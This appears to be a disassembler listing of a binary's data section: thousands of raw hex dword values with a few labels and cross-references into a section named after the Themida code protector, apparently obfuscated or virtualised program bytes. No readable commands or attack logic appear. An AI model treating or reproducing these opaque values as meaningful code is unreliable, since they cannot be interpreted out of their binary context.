		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B6C35141h, 0B11571B8h
		dd 36D48AD1h, 0FF98B66h, 95FFFAB7h, 7E42D99h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 83C35242h, 1836D5CAh
		dd 548A5133h, 8E8h, 0BB96AD00h,	0B8182578h, 28B0FF3h, 53000000h
		dd 85895F5Fh, 7E7F8A5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 38C35646h, 0A68A7B7Fh, 8C24F49Ch, 1BAE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F582437Ah, 0F89D858Bh, 958907E7h, 7E41925h
		dd 1800C7h, 0BD8B0000h,	7E42501h, 0F8A1B58Bh, 9D8907E7h
		dd 7E41B35h, 2D45BD03h,	858B07E4h, 7E40099h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h, 4FB320ABh
		dd 0F7E9A31h, 68Ah, 41BD8B00h, 8907E419h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0B3303502h, 0BE9E5B5Fh, 9DB589h, 0DA8B07E4h,	651858Bh
		dd 8D0907E4h, 7E41449h,	6A044689h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5A0BC350h
		dd 96509618h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	1C35242h, 9F77E13Eh, 0B5FFD294h, 7E7F89Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CDC35040h, 12E31071h
		dd 7C686DCCh, 0B3B968C0h, 24048159h, 46B64383h,	0A5858DF8h
		dd 6A07E7F8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0B897C356h, 0BB556C58h, 5DE31ECAh
		dd 50DF8B90h, 3513BF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0CF886F59h, 0E6BF9E6Ah
		dd 0FFFE8B66h, 0E42D9995h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8D31D38Dh
		dd 7E40705h, 61C2DB80h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 64C35040h, 0FB8B66A5h, 209AF4BBh, 0B985C734h
		dd 307E422h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0F7D2C356h,	60CF0227h
		dd 66D9D89h, 0B70F07E4h, 0BD8361D6h, 7E7F8A5h, 5E840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 1988C351h, 0BD293FCBh,	7E40A75h
		dd 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0E2554949h, 7E81D8Eh, 0EA000000h
		dd 4C9D8E62h, 0BD0BFDB4h, 7E41481h, 0C30505Fh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 89D4EB80h, 0E4228D8Dh
		dd 0B9BD8307h, 307E422h, 435850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 236BFC3h
		dd 14DF0888h, 19B19D89h, 0BF6607E4h, 0BD832925h, 7E7F8A5h
		dd 0FC840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8B28C353h, 0E41B2D9Dh
		dd 0A5B5FF07h, 0E807E7F8h, 11h,	0A2EFDCD6h, 0BC805189h
		dd 0E13FAD42h, 7540B26h, 0EF8166C4h, 0FF5FAEABh, 0E4044D95h
		dd 41BD8907h, 8B07E41Bh, 0E7F899B5h, 106C707h, 33000100h
		dd 0E415219Dh, 8E0F9607h, 2, 8B5014B7h,	6A96FBh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 12AF5BC3h, 0A659D03h, 0B5FF07E4h, 7E7F8A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D0C35141h, 7E95281h
		dd 0B7000000h, 920399DEh, 0FF5BBA1Bh, 0E42A0995h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BB66387Ah, 0B58B2038h, 7E7F899h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CCC35343h, 0E9104A72h
		dd 9, 0A230DE7Ch, 0F9C712F4h, 0C7816617h, 858BB915h, 7E43165h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h
		dd 958B60A0h, 7E41B0Dh,	64D9509h, 896107E4h, 0C486h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 4728A48Fh, 958B35A1h, 7E41B71h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 28C35545h, 0CC8B7F08h, 510994h
		dd 79B5896Dh, 0F807E400h, 0F04C283h, 88h, 20508900h, 68A0Fh
		dd 95890000h, 7E41B8Dh,	0CD4858Dh, 952907E8h, 7E42FA9h
		dd 86896CB3h, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0A9C35040h, 338349EFh, 8D89C452h, 7E413A1h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 44347EC3h, 0B0C1DC10h, 1619D8Bh, 0B5FF07E4h
		dd 7E7F8A5h, 0A858D89h,	8B6607E4h, 0AD95FFDEh, 8907E431h
		dd 0E4128585h, 8B665007h, 243489DEh, 2C31BD8Bh,	0B5FF07E4h
		dd 7E7F8A5h, 0F28B6660h, 19D5BD31h, 816107E4h, 6AAECAEBh
		dd 1195FF6Dh, 8307E41Bh, 0E40DF9BDh, 840F0007h,	54h, 0DDB58B60h
		dd 2B07E41Dh, 0E42EC595h, 89506107h, 8B602434h,	0E41E59B5h
		dd 0AE807h, 0F03B0000h,	0C7359352h, 0F253C812h,	10E9h
		dd 0EEA37300h, 30E71FD7h, 0AE31BB95h, 8DED703Eh, 0E9615943h
		dd 10h,	9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh, 0F8A5B5FFh
		dd 0F38007E7h, 7D95FF1Eh, 6607E402h, 8783D381h,	0CD9BBF66h
		dd 0F8A5B5FFh, 6A07E7h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 7CA65C3h, 0CF4C7EAAh, 0E853F20Eh
		dd 0Dh,	2E5CF9AAh, 0C005740Ch, 1E3E94CBh, 0B0C38115h, 5B326B02h
		dd 205210BFh, 7195FF1Eh, 6A07E409h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 8E30C356h
		dd 9D896003h, 7E40BA5h,	61C2B70Fh, 0A21BD83h, 0F0207E4h
		dd 6284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0FCD986D5h, 7ABB564Ch, 5F1DAEFEh
		dd 25CD9D89h, 858B07E4h, 7E41EB5h, 0C6F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 9EC35747h, 0AEC94166h
		dd 0BCBFB4C6h, 0E5958993h, 0C707E40Dh, 0E4267185h, 7, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0FDBD8B92h, 0E907E40Dh, 0FFFFF323h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0DCC35040h,	9005C44Dh, 8BD98B66h
		dd 0D59D8BC1h, 0F07E40Dh
		db 0B7h, 0D9h
word_5CAEC2	dw 858Dh		; DATA XREF: Themida_:0058337Co
		dd 7E40D85h, 89FE8B50h,	6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0A9965BC3h, 1E266F1h
		dd 0BF4CF404h, 6A169323h, 0B70F006Ah, 0F006ADFh, 48Dh
		dd 0D6BF6600h, 0B52957DEh, 7E41F11h, 858D5Fh, 6A07E88Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0CE0AC351h, 81C13FCDh, 0DF7DB4CFh, 2DCB810Ch
		dd 0E964F2E5h, 0Fh, 4668FC15h, 8C7017AFh, 94BF1CA0h, 83B5A9B2h
		dd 0C38105C0h, 5892188Eh, 9D9D0156h, 5B07E42Fh,	0BF525090h
		dd 6F9214Dh, 585A310Fh,	90D88B50h, 0DEBF0F60h, 61DEB70Fh
		dd 211DBD0Bh, 6A07E4h, 68B0Fh, 9D8B0000h, 7E402DDh, 9698D89h
		dd 6A07E4h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 19h,	87C35141h, 0C788571Fh, 95FFF88Fh, 7E42471h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6AC35141h, 4515AD50h
		dd 286D446Fh, 9D9D23F6h, 8B07E424h, 4B8D8DFAh, 6A07E7D6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 1C16C357h, 55302755h, 83D1FF93h, 0E42015BDh
		dd 850F0107h, 63h, 1835BD2Bh, 26A07E4h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 11C35242h, 5BD03FD6h
		dd 0A6730C9h, 0F506090h, 86h, 8F0F5E00h, 6, 840Fh, 50610000h
		dd 7E9h, 0BF81DD00h, 0DC005AA3h, 0D5BD0390h, 0FF07E425h
		dd 0E431AD95h, 51B58907h, 0E907E430h, 0DA0h, 0E8h, 0ED815D00h
		dd 7E88C0Ah, 66F78166h,	57006AFBh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0E1858DCFh, 0E907E7C6h
		dd 0Bh,	0AEEFF8E3h, 3E54F40Ch, 8B55C2DEh, 0E425F99Dh, 52509007h
		dd 2F6FC3BBh, 0E8310F3Bh, 0Bh, 1E549449h, 0C15B4853h, 600B0FB5h
		dd 585A5B61h, 0BF525050h, 4025593Fh, 14E8310Fh,	0C4000000h
		dd 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 0BF718B72h
		dd 14D1B6FEh, 90585A5Fh, 35FF64h, 0F000000h, 38Ah, 0F8B70F00h
		dd 258964h, 0FC000000h,	27B268BFh, 0B985FF01h, 8907E420h
		dd 0E41C31BDh, 31BD8907h, 6A07E42Ch, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 4CE0845Bh
		dd 7578EB89h, 0BD8B4D87h, 7E42285h, 226DBD03h, 0B5FF07E4h
		dd 7E406A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0D1C35747h, 82750553h, 7E89DD3h
		db 3 dup(0)
byte_5CB1B3	db 0F6h			; DATA XREF: Themida_:00583354o
		dd 0AFC66B85h, 0C7B38197h, 4D95FF5Bh, 0E907E430h, 112h
		dd 2DB589h, 0B007E4h, 42986ABFh, 0F70E632h, 71E4FEBFh
		dd 6DB58B60h, 0E907E424h, 0Ah, 2399BE28h, 737B769Eh, 3C61C543h
		dd 0DF830F61h, 0F000000h, 0BAF5C8B6h, 6, 8BF8BF0Fh, 11BD0BC1h
		dd 0C107E416h, 0C4B304E8h, 8BE2F766h, 0E4198D9Dh, 0CE907h
		dd 90550000h, 8603ED36h, 1FF9FF6Fh, 0C82BF8A9h,	8BDF8B66h
		dd 0A99589D1h, 0E907E403h, 2, 858BFC8Ah, 7E40349h, 29BD9D2Bh
		dd 8B6607E4h, 7C083DFh,	1860Fh,	83F50000h, 8A0F00C0h, 2
		dd 0D03BF88Bh, 21830Fh,	13E90000h, 24000000h, 224E067Eh
		dd 7EA564E3h, 51489995h, 0C4436431h, 4FE95B23h,	66000000h
		dd 8BD4E2BFh, 0E40B698Dh, 66F88B07h, 0E183D98Bh, 37840F01h
		dd 0FC000000h, 0B69A583h, 0E9FE07E4h, 13h, 16B3D917h, 715D6D23h
		dd 17A04D00h, 5C1CBBBh,	8958328Bh, 0E4034995h, 91BD8B07h
		dd 8B07E402h, 0E4249D9Dh, 0E907h, 0B58D0000h, 7E8187Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 73C35242h
		dd 13E91D24h, 0AC000000h, 1A50218Ah, 0D0D2F998h, 0F9B79314h
		dd 0D61715A7h, 9D8966F5h, 7E40EC9h, 8166006Ah, 0FF4D9DCBh
		dd 0E40E4195h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 5DE50543h, 0D26B9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 806F812Dh, 81DC922Ah, 2D6A8ACBh, 91BD0B7Ch, 8307E42Ah
		dd 0B529FCE1h, 7E41E85h, 498D89FCh, 0B807E426h,	0
		dd 35818589h, 0BAF807E4h, 0
		dd 0C8E0Fh, 880F0000h, 6, 0B09B501h, 33AD07E4h,	3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0E4FF84C3h, 1465FD33h, 95090E16h
		dd 7E402B5h, 0B2638BFh,	880D26h, 12E90000h, 25000000h
		dd 0C19DD59Bh, 94BC32E7h, 0F4104C39h, 8D260B08h, 71958B0Eh
		dd 8B07E41Bh, 0E42AAD9Dh, 0A18D8B07h, 8107E42Dh, 73A393C7h
		dd 0C28B5020h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 85D4C352h, 0D780C451h, 224BB72h, 0BD831339h
		dd 7E40611h, 3D840F00h,	60000000h, 0A71B58Bh, 8D8907E4h
		dd 7E400FDh, 0B861h, 0BF660000h, 8D8DC727h, 7E44FE7h, 0EE953h
		dd 872E0000h, 0C02062FCh, 5CD8DF1Ch, 929218DFh,	0DEB70F5Bh
		dd 9529E1FFh, 7E42A71h,	22B9BD83h, 0F0007E4h, 49B84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 39AEB283h, 0DB529D6h, 8307E415h, 0E422B9BDh,	840F0107h
		dd 483h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 19h,	9FC35545h, 256E1F88h, 3830FFEh,	0F000000h, 0BD83DBBFh
		dd 7E422B9h, 16860F03h,	0FC000004h, 50006A60h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0B8F1E98h
		dd 943E6A6Fh, 0BD2B8063h, 7E41C39h, 6AD98C66h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0AA16C355h, 79FDDF27h, 800058DCh, 8D2904E1h,	7E42205h
		dd 840FC90Ah, 14Fh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 16h, 75C35040h, 896051BBh,	0E402218Dh, 91BD8B07h
		dd 6107E424h, 651858Bh,	8B6607E4h, 298533DEh, 5607E420h
		dd 527BB66h, 5250905Fh,	8EA7D9BBh, 51310F35h, 840Fh, 5A5B0000h
		dd 66605058h, 66D008BBh, 9061D78Bh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0A6C35040h,	2BA0B8CFh, 0E40951BDh
		dd 0D1BD0307h, 2907E404h, 0E40879BDh, 6A006A07h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 7F8DC357h, 0E6BEBFA6h, 0B5011957h, 7E4128Dh,	4E8h, 1F03FF00h
		dd 0A5BB6600h, 0BB665007h, 448B63CDh, 1B30424h,	89BB008Bh
		dd 894AAB41h, 0BF042444h, 4524D1F9h, 0FFFD8A58h, 0E42D9995h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 6021BA51h, 673366B0h, 9531E057h,	7E405C5h
		dd 2C319501h, 858907E4h, 7E7F8A5h, 0DE960h, 0D60A0000h
		dd 0DDE2EAA2h, 0A380BED1h, 0F867A65h, 68Ah, 0ED9D2B00h
		dd 6107E42Bh, 1F9E9h, 35858900h, 8B07E40Eh, 0E7F89D85h
		dd 7BB6607h, 0B50360B7h, 7E42785h, 0C761D18Bh, 1800h, 8BFB8B00h
		dd 0E7F8A1B5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 72F442ADh, 12E89F22h
		dd 49000000h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 0D986D5DAh
		dd 68E0FFCh, 81000000h,	0E42E6CCBh, 840F5F54h, 2, 858BD98Ah
		dd 7E40099h, 5E8h, 9DADE800h, 0D380CEA9h, 6895B73h, 8529F960h
		dd 7E4039Dh, 11BD8B61h,	8B07E40Eh, 0E4065185h, 4468907h
		dd 0F9858951h, 5B07E41Eh, 38A0Fh, 8B660000h, 0E96050FEh
		dd 11h,	39230273h, 0BF796F1h, 598EE6F7h, 26AAB3Ah, 10E9B4h
		dd 74E20000h, 0A5B9AC83h, 47231031h, 0DE0512F2h, 89615C5Fh
		dd 0BD8B2434h, 7E42589h, 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D4EAA4C3h
		dd 257EB556h, 0F52B6CEh, 0BD8BD8B7h, 7E42435h, 4E8h, 1F03FF00h
		dd 0FDBB6600h, 10E850DFh, 0A1000000h, 43004711h, 141319C0h
		dd 7B41E8D4h, 0E8956524h, 5, 0EA24AA15h, 7E954h, 0CA4D0000h
		dd 0C02CDD7Fh, 8B5F5FA8h, 0B3042444h, 0E8008BA5h, 6, 4ECF8CADh
		dd 91B7BC49h, 2444895Fh, 8B666004h, 28E0FC6h, 60000000h
		dd 6A586161h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2325C357h, 0F8A5858Dh,	0B58907E7h
		dd 7E406D5h, 89DE8B50h,	6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 982142C3h, 5FFEB66h
		dd 0BB669479h, 0FE9F428h, 12000000h, 0E55827EDh, 84A84972h
		dd 0CC4470DFh, 95FF7CFFh, 7E42D99h, 18718D89h, 0F86107E4h
		dd 8E853h, 15CA0000h, 7324397Ch, 0D88B591Ah, 85C75B5Bh
		dd 7E422B9h, 3,	2B45B509h, 0BD8307E4h, 7E7F8A5h, 3E840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0EF49C351h, 0B06A41E9h, 0BE9h
		dd 6A5D5C00h, 8EF4FE44h, 0FABCD83Fh, 6A19589h, 1DE907E4h
		dd 8B000000h, 0C3050D9h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 81BF6660h, 1F181BFh,	610A70AAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A4C35040h
		dd 0F633BAEh, 0BD83DABFh, 7E422B9h, 40850F03h, 0F000004h
		dd 0BD83DEBFh, 7E7F8A5h, 30840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 353DC353h, 6800F41h,	8B000000h, 0E40EF1BDh, 0A5B5FF07h
		dd 6007E7F8h, 68E0Fh, 0BD890000h, 7E42349h, 27A5BD89h
		dd 0FF6107E4h, 0E4044D95h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 8B7E2339h
		dd 176140DDh, 0B58B4642h, 7E7F899h, 3F11BF66h, 106C7h
		dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0C20F76C3h, 4916695Ch, 0BF66FD54h, 0BB6632D8h
		dd 0E89636F4h, 8, 0C00DDB15h, 394F2B03h, 505BDE8Bh, 7E853h
		dd 0D5500000h, 9FA79344h, 820F84h, 5F000000h, 6A965Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0AC6FBDC3h, 6FF33985h, 0B5FF4702h, 7E7F8A5h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F4C35141h, 0ABA2F1ADh
		dd 89FB3832h, 0E43169B5h, 995FF07h, 3307E42Ah, 0E42AFD9Dh
		dd 99B58B07h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 4723C350h, 65858BF2h
		dd 6A07E431h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 56BBC357h, 578211E2h, 0F3816695h
		dd 86890EAFh, 0C4h, 1EB19D8Bh, 958B07E4h, 7E41B71h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B0C35747h, 1660179Fh
		dd 0C7A05DC2h, 8E0F50D7h, 6, 870Fh, 835F0000h, 6A04C2h
		dd 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8D01C4C3h, 7E417D9h,	6A205089h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D593C355h
		dd 0AD9D8BC5h, 8D07E42Ah, 0E80CD485h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 530D148Ah, 6E8409A1h, 0AE9h,	43376400h, 0A6138369h
		dd 8914BD4Bh, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0B3CD8BFh, 6649EC7Ah
		dd 6AA820BBh, 0D7816600h, 0B5FFFED8h, 7E7F8A5h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 23C35040h, 5607C66h
		dd 0C105D764h, 0AD95FFBFh, 8B07E431h, 0E6BF96D8h, 50355522h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0B74A1307h, 0B5FF67A6h, 7E7F8A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 1195FF94h
		dd 6A07E41Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 10AFC356h, 0F4992951h,	89607F03h
		dd 0E4023D85h, 0DEBF0F07h, 0F9BD8361h, 7E40Dh, 12840Fh
		dd 0BD8B0000h, 7E42409h, 89D98A50h, 85892434h, 7E42BF9h
		dd 0F8A5B5FFh, 6A07E7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0F838AEC3h, 27D95FFh, 0BD2907E4h
		dd 7E40419h, 0F8A5B5FFh, 13E907E7h, 58000000h, 0A4DF1882h
		dd 5085ED38h, 362371BEh, 0F4033B0Eh, 5E8BE7Dh, 1000000h
		dd 0C485192Ah, 458D8960h, 6607E41Ah, 0BDA8D881h, 95FF5B61h
		dd 7E40971h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	40C35040h, 0A21BD83h, 0F0207E4h, 3A84h,	98D8900h
		dd 8B07E42Bh, 0E41EB585h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD8BBB1Fh
		dd 7E421A1h, 2D75BD23h,	0C607E4h, 0C7FE8B00h, 0E4267185h
		dd 7, 6D9D8900h, 0E907E42Dh, 0FFFFF353h, 1C15BD89h, 0C18B07E4h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9C35343h
		dd 4B7A083Dh, 9D2BC911h, 7E42465h
dword_5CBE30	dd 0D85858Dh, 9D2B07E4h, 7E41BD1h, 0F5905090h, 0BF0F006Ah
					; DATA XREF: Themida_:00584B14o
		dd 0F006AFFh, 9D31F8BFh, 7E42349h, 9AC7858Dh, 0BD8B07E8h
		dd 7E40E45h, 6005C083h,	2F7D958Bh, 506107E4h, 12E8h, 318D9B00h
		dd 0A3A2F948h, 0EA2DA14Fh, 79A163C3h, 662FC228h, 5F2173BFh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 23B2C351h, 0A6CEBB29h,	6A7246h
		dd 22D19D8Bh, 6A07E4h, 1B9D9D8Bh, 95FF07E4h, 7E42471h
		dd 0BC0CC781h, 8D8D4C58h, 7E7D64Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 68C35646h, 0C362B174h, 0FE9325Bh
		dd 0DE000000h, 0B248E4C6h, 0C400B2B5h, 8521190Eh, 0D1FF521Ch
		dd 1D69BD2Bh, 0BD8307E4h, 7E42015h, 3B850F01h, 89000000h
		dd 0E40D89BDh, 6A026A07h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0FB83C357h,	0C48616FCh
		dd 50FAD380h, 4895F50h,	0AD95FF24h, 0F07E431h, 8EE9DEBFh
		dd 0E800000Eh, 0
aBaSJ_0		db ']νњθ',7,'j',0
		db 56h,	0E8h, 3
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 2882C356h, 0D8C67AA5h, 2964746Dh, 0E42AA5B5h, 359D8B07h
		dd 6A07E402h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0E998C353h, 8B665014h,	858D5BFAh
		dd 7E7C6E1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0B5C35141h, 0B6CE257Eh,	8E0FE952h, 5, 0BDEB8166h
		dd 665090B1h, 5B390DBBh, 3B0FBB50h, 6A9073EDh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 3A28C356h, 0C860Fh, 830F0000h, 6, 0E29B589h,	0BE807E4h
		dd 0C9000000h, 93D529E5h, 5F95EC66h, 85892D8Dh,	7E431DDh
		dd 35FF645Fh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B6C35545h
		dd 1FBB6660h, 61D88B9Fh, 258964h, 29000000h, 0E40DB9BDh
		dd 0B985FF07h, 6A07E420h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0EC6AC353h,	6840Fh
		dd 9D890000h, 7E41C7Dh,	13E9FF6Ah, 0B8000000h, 457F8229h
		dd 2C5F2E41h, 7F61D8CAh, 229E772Ah, 0B5FFF713h,	7E41811h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 41C35242h
		dd 0DA8B668Ch, 304D95FFh, 66E907E4h, 0F000001h,	1289h
		dd 0DE900h, 3D760000h, 176D8D1Fh, 29582B5Eh, 0B0D21AE2h
		dd 0BD9D8900h, 0E607E415h, 0BBB6670h, 6671E499h, 3924CB81h
		dd 830F613Ch, 131h, 29C8B60Fh, 0E4213D85h, 6840F07h, 29000000h
		dd 0E40ED5B5h, 6BA07h, 9E90000h, 0AB000000h, 605F12DCh
		dd 9254BCEh, 58F0Fh, 3BB0000h, 8B742097h, 4E8C1C1h, 2D458D31h
		dd 0F76607E4h, 2BDF8BE2h, 38E0FC8h, 80000000h, 8B6049D3h
		dd 0E4024595h, 2810F07h, 57000000h, 0D18B615Ah,	10E9h
		dd 28FC5500h, 0DA03216Fh, 82E7919Fh, 0F03831DDh, 6E949h
		dd 0D7810000h, 424ADF54h, 25C5858Bh, 5E907E4h, 78000000h
		dd 47E6EEB0h, 8907C083h, 0E42221B5h, 0C08307h, 0A58D8957h
		dd 5B07E415h, 830FD03Bh, 2Ch, 0E5BD8B51h, 5F07E422h, 78E9h
		dd 13E800h, 141F0000h, 0D531980h, 0BA0268A8h, 7E44EAF4h
		dd 7264DA26h, 19BD8B32h, 5B07E40Ah, 35918D8Bh, 0E85107E4h
		dd 12h,	0EED3E5DBh, 60914E07h, 76675CC0h, 1C3EA262h, 0DEB768FDh
		dd 9D035F5Fh, 7E40035h,	0F01E183h, 2884h, 68E0F00h, 1000000h
		dd 0E403F985h, 91A58307h, 0FE07E435h, 19E7BB66h, 25C59589h
		dd 0BD8B07E4h, 7E41DD9h, 0E9h, 2AB58D00h, 8B07E827h, 0E423A1BDh
		dd 6A006A07h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0E5B6C356h, 5E9h, 0D421E600h
